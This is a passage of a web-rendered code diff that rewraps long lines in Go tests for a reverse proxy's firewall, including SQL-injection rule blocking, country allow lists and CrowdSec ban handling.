s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusOK, requestlog.ActionForward)
s, _, _ := startWithClock(
t,
"",
map[string]string{wafMode: block},
)
line, _ := s.requestWithBody(
request.method,
client,
request.path,
request.header,
body,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0))
// A list given replaces the default.
@@ -281,38 +350,29 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
wafMode: block, wafDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
line, _ = s.requestWithBody(
request.method,
client,
request.path,
request.header,
body,
http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet,
)
wantCoreRuleSet(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists.
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
line = s.request(
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0))
})
}
}
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startWAF(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, waf.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, waf.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
@@ -377,8 +437,13 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
tc.name, len(got.body), got.status, len(tc.body))
t.Errorf(
"%s: the app got %d bytes, answered %d, want the %d sent, 200",
tc.name,
len(got.body),
got.status,
len(tc.body),
)
}
line := out.endedLines(t, i+1)[i]
@@ -407,13 +472,19 @@ func TestResponsesAreNotInspected(t *testing.T) {
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
t.Errorf(
"answered %d with %q, want 200 with the app's page",
got.status,
got.body,
)
}
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
t *testing.T,
) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
@@ -431,8 +502,11 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T)
requestlog.ActionBlockedByCoreRuleSet)
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
line.LimitHit, line.Offence)
t.Errorf(
"log line has limit_hit %q and offence %q, want minute_refusals and limit",
line.LimitHit,
line.Offence,
)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -443,15 +517,30 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T)
}
metrics := s.scrape()
wantMetric(t, metrics,
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
wantMetric(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
`instance="app",status_class="4xx"}`, 3)
wantMetric(
t,
metrics,
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`,
3,
)
wantMetric(
t,
metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`,
3,
)
wantMetric(
t,
metrics,
`sww_requests_total{action="blocked_by_core_rule_set",`+
`instance="app",status_class="4xx"}`,
3,
)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
t *testing.T,
) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
@@ -459,7 +548,12 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T
})
for range 3 {
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
s.request(
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
@@ -470,8 +564,12 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T
}
metrics := s.scrape()
wantMetric(t, metrics,
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
wantMetric(
t,
metrics,
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`,
3,
)
wantNoSeries(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
}
@@ -479,9 +577,18 @@ func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
s, _, server := startWithClock(
t,
"",
map[string]string{wafMode: block, mode: observe},
)
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
line := s.request(
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
wantCoreRuleSet(t, line, new(5), 942100)
@@ -531,7 +638,9 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
"rule_ids": []int{
942100,
}, "score": 5, "method": http.MethodGet,
"path": sqlInjection,
}
if tc.alertMode != "" {
@@ -550,7 +659,10 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
})
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
t.Errorf(
"%d alerts held back, want the repeat",
queue.Suppressed(),
)
}
})
}
+5 -1
View File
@@ -18,7 +18,11 @@ type countries struct{}
func (countries) name() string { return "countries" }
func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
func (countries) check(
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
allowed := rq.h.config.ExclusivelyAllowedCountries
country := rq.line.Country
+79 -21
View File
@@ -52,7 +52,10 @@ func TestCountryLists(t *testing.T) {
calls.Add(1)
})
geojsURL, _ := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
env := map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -68,14 +71,25 @@ func TestCountryLists(t *testing.T) {
line := out.endedLines(t, i+1)[i]
if line.ASN != sent.asn || line.ASName != sent.asName ||
line.Country != sent.country {
t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
line.ASN, line.ASName, line.Country,
sent.asn, sent.asName, sent.country)
t.Errorf(
"log line has %q, %q and %q, want %q, %q and %q",
line.ASN,
line.ASName,
line.Country,
sent.asn,
sent.asName,
sent.country,
)
}
if slices.Contains(tc.refused, sent.client) {
wantStatus(t, got, http.StatusForbidden)
wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
wantLine(
t,
line,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
} else {
wantStatus(t, got, http.StatusOK)
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
@@ -98,11 +112,19 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
lookupTimeout: "1h", allowedCountries: "de",
})
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
line := s.get(
fromKP,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
wantHeuristic(t, line, "countries",
`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
line = s.get(
unplaced,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
wantHeuristic(t, line, "countries",
`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
}
@@ -122,7 +144,13 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
allowedCountries: "de",
})
req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
req := newRequest(
t,
http.MethodPost,
addr,
"/",
strings.NewReader("a body"),
)
req.Header.Set(forwardedFor, fromKP)
wantStatus(t, do(t, req), http.StatusForbidden)
@@ -149,7 +177,9 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
return
}
answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}}
answer := []geojsAnswer{
{IP: r.URL.Query().Get("ip"), CountryCode: "DE"},
}
err := json.NewEncoder(w).Encode(answer)
if err != nil {
@@ -209,7 +239,10 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
env := map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -230,8 +263,12 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
for _, field := range []string{"asn", "as_name", "country"} {
value, present := line.fields[field]
if !present || value != "" {
t.Errorf("log line for %q has %s %v, want an empty one",
line.ClientIP, field, value)
t.Errorf(
"log line for %q has %s %v, want an empty one",
line.ClientIP,
field,
value,
)
}
}
}
@@ -243,10 +280,16 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK)
waitUntil(func() bool { return slices.Contains(asked(), fromDE) })
waitUntil(
func() bool { return slices.Contains(asked(), fromDE) },
)
if got := asked(); !slices.Equal(got, []string{fromDE}) {
t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE)
t.Errorf(
"GeoJS was asked about %v, want %s alone",
got,
fromDE,
)
}
})
}
@@ -275,11 +318,16 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
allowedCountries: "de",
allowNets: tc.allowNets,
})
addr, out := startProxyWithGeoJS(
t,
app.URL,
geojsURL,
map[string]string{
trustedProxies: trustLocalhost,
allowedCountries: "de",
allowNets: tc.allowNets,
},
)
wantAnswers(t, addr, out, []sentRequest{
{"10.0.0.7", tc.status, tc.action},
@@ -383,9 +431,19 @@ type geojsAnswer struct {
func answerAbout(addr string) geojsAnswer {
switch addr {
case fromDE:
return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"}
return geojsAnswer{
IP: addr,
ASN: 64496,
ASName: asNameDE,
CountryCode: "DE",
}
case fromKP:
return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"}
return geojsAnswer{
IP: addr,
ASN: 64511,
ASName: asNameKP,
CountryCode: "KP",
}
}
return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}
+5 -1
View File
@@ -21,7 +21,11 @@ type crowdSec struct{}
func (crowdSec) name() string { return "crowdsec" }
func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
func (crowdSec) check(
_ context.Context,
rq *request,
now time.Time,
) *verdict {
decision, listed := rq.crowdSecDecisionInForce(now)
if !listed {
return nil
+79 -27
View File
@@ -25,7 +25,9 @@ const (
bouncerKey = "crowdsec-key-0123456789abcdef"
)
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
t *testing.T,
) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
@@ -39,44 +41,56 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testi
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends.
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
banned := requestlog.ActionTemporarilyBanned
line := s.get(client, http.StatusForbidden, banned)
wantReputation(t, line, decisionsURL)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
t.Errorf("log line has ban_expires %q, want %s",
line.BanExpires, expires)
}
listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
!held[0].Start.Equal(fetched) ||
!held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
"the request in its notes", held)
t.Fatalf(
"bans %+v, want one for crowdsec of four hours, with the list and "+
"the request in its notes",
held,
)
}
// The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
expires)) {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting)
!reflect.DeepEqual(
waiting[1],
banAlert(alerts.EventBan, fetched, client, held[0],
expires),
) {
t.Errorf(
"alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting,
)
}
// Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
line = s.get(client, http.StatusForbidden, banned)
wantReputation(t, line)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
t.Errorf("log line has ban_expires %q, want %s",
line.BanExpires, expires)
}
clk.advance(time.Second)
@@ -91,8 +105,12 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testi
`instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()))
wantMetric(
t,
metrics,
"sww_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()),
)
}
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
@@ -105,13 +123,24 @@ func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`)
line := s.get(
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(
t,
line,
"crowdsec",
`{"scenario": "crowdsecurity/ssh-bf", `+
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`,
)
wantTags(t, line, "crowdsec")
}
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
t *testing.T,
) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
@@ -129,24 +158,44 @@ func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T
// Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond)
s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(
"198.51.100.7",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::9",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::5",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
// Once it has ended, it bans no other client, and the bans it made end
// with it.
clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
wantReputation(
t,
s.get(from, http.StatusOK, requestlog.ActionForward),
)
}
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"2001:db8::/64", made)
t.Errorf(
"%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"2001:db8::/64",
made,
)
}
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(
held,
) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
}
}
@@ -175,8 +224,11 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"marked observe", waiting)
t.Errorf(
"alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"marked observe",
waiting,
)
}
}
Loaded 100 of 131 files, more files were not shown because too many files have changed in this diff. Show more